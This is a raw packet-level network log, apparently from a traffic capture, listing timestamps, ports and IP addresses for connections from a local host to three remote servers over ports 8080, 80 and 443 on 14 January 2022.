Jan 14, 2022 21:05:11.615830898 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.615842104 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.615868092 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.615895987 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.771601915 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:13.324033022 CET	49803	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:13.341274977 CET	80	49803	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:13.341588020 CET	49803	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:13.341718912 CET	49803	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:13.341730118 CET	49803	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:13.358850956 CET	80	49803	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:13.477581978 CET	80	49803	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:13.477686882 CET	49803	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:13.477957010 CET	49803	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:13.495143890 CET	80	49803	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:13.770891905 CET	49804	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:13.788568974 CET	80	49804	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:13.792887926 CET	49804	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:13.792965889 CET	49804	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:13.792979002 CET	49804	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:13.810408115 CET	80	49804	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:13.911494017 CET	80	49804	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:13.913659096 CET	49804	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:13.932292938 CET	49804	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:13.949712992 CET	80	49804	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:13.970227003 CET	49805	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:13.988594055 CET	80	49805	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:13.988914013 CET	49805	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:13.989049911 CET	49805	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:13.989068031 CET	49805	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:14.006474972 CET	80	49805	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:14.006524086 CET	80	49805	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:14.130439997 CET	80	49805	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:14.131040096 CET	49805	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:14.131433964 CET	49805	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:14.150211096 CET	80	49805	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:14.163937092 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.163983107 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.164105892 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.164479017 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.164496899 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.216469049 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.216849089 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.218997955 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.219017982 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.219280958 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.221896887 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.265870094 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.292550087 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.292634010 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.292701960 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.292736053 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.292788982 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.292820930 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.292855024 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.292987108 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.293005943 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.293018103 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.293131113 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.293176889 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.293200016 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.293211937 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.293221951 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.293229103 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.293258905 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.293297052 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.293346882 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.293391943 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.293392897 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.293397903 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.293407917 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.293459892 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.293472052 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.293514967 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.293611050 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.293621063 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.293808937 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.293926001 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.293941975 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.294019938 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.294096947 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.294146061 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.294161081 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.294217110 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.294230938 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.294243097 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.294317961 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.294320107 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.294342041 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.294440031 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.294498920 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.294549942 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.294557095 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.294558048 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.294578075 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.294646978 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.294660091 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.294722080 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.294787884 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.294837952 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.294851065 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.294867039 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.294891119 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.311393023 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.311543941 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.311557055 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.311573982 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.311599970 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.311667919 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.311724901 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.311784983 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.311799049 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.311813116 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.311840057 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.311883926 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.311924934 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.311939001 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.311948061 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.311976910 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.312092066 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.312114000 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.312127113 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.312186003 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.312213898 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.312279940 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.312340021 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.312354088 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.312361956 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.312371969 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.312488079 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.312545061 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.312556028 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.312565088 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.312575102 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.312654972 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.312664032 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.312696934 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.312731981 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.312741041 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.312750101 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.312767029 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.316023111 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.316047907 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.316129923 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.329767942 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.329869032 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.329936981 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.330030918 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.330108881 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.330111980 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.330132961 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.330166101 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.330204964 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.330220938 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.330231905 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.330301046 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.330354929 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.330360889 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.330365896 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.330382109 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.330440998 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.330449104 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.330456018 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.330465078 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.330544949 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.330601931 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.330605984 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.330611944 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.330635071 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.330686092 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.330693007 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.330715895 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.330797911 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.330852985 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.330861092 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.330868959 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.330887079 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.330940008 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.330948114 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.330954075 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.330964088 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.331048965 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.331105947 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.331115007 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.331120968 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.331197023 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.331285954 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.331342936 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.331350088 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.331357002 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.331367970 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.331461906 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.331466913 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.331481934 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.331552982 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.331604958 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.331612110 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.331617117 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.331686974 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.331693888 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.331716061 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.331757069 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.331819057 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.331893921 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.331952095 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.331959963 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.331967115 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.332155943 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.332209110 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.332264900 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.332268000 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.332273960 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.332294941 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.332717896 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.332772970 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.332812071 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.332818985 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.332823038 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.332873106 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.332942963 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.332993984 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.333046913 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.333053112 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.333059072 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.333383083 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.333419085 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.333487988 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.333498001 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.333503008 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.333769083 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.333805084 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.333873987 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.333882093 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.333887100 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.334216118 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.334253073 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.334639072 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.334724903 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.334736109 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.334745884 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.335608006 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.352060080 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.352113962 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.352180958 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.352193117 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.352238894 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.352243900 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.352386951 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.352427006 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.352498055 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.352508068 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.352516890 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.352722883 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.352760077 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.352799892 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.352811098 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.352819920 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.352864981 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.352869034 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.353034019 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.353070974 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.353137970 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.353149891 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.353159904 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.353375912 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.353482962 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.353522062 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.353598118 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.353611946 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.353621006 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.353687048 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.353883982 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.353924990 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.353971004 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.353984118 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.354049921 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.354057074 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.354166985 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.354218006 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.354260921 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.354273081 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.354312897 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.354319096 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.354543924 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.354582071 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.354670048 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.354679108 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.354686975 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.354866028 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.354892015 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.354931116 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.354991913 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.355001926 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.355010033 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.355243921 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.355279922 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.355319977 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.355330944 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.355340958 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.355417967 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.355585098 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.355624914 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.355663061 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.355673075 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.355681896 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.355735064 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.355739117 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.355951071 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.355990887 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.356039047 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.356049061 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.356061935 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.356169939 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.356210947 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.356276035 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.356307983 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.356314898 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.356331110 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.356352091 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.356441021 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.371613979 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.378761053 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.378792048 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:14.378808975 CET	49806	443	192.168.2.5	162.159.133.233
Jan 14, 2022 21:05:14.378822088 CET	443	49806	162.159.133.233	192.168.2.5
Jan 14, 2022 21:05:16.365353107 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:16.365458965 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:16.365499973 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:16.444155931 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:16.829340935 CET	49807	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:16.847831964 CET	80	49807	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:16.848474026 CET	49807	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:16.848517895 CET	49807	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:16.848524094 CET	49807	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:16.866043091 CET	80	49807	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:16.969913960 CET	80	49807	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:16.970598936 CET	49807	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:16.970752954 CET	49807	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:16.988054991 CET	80	49807	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:17.001133919 CET	49808	80	192.168.2.5	8.209.70.0
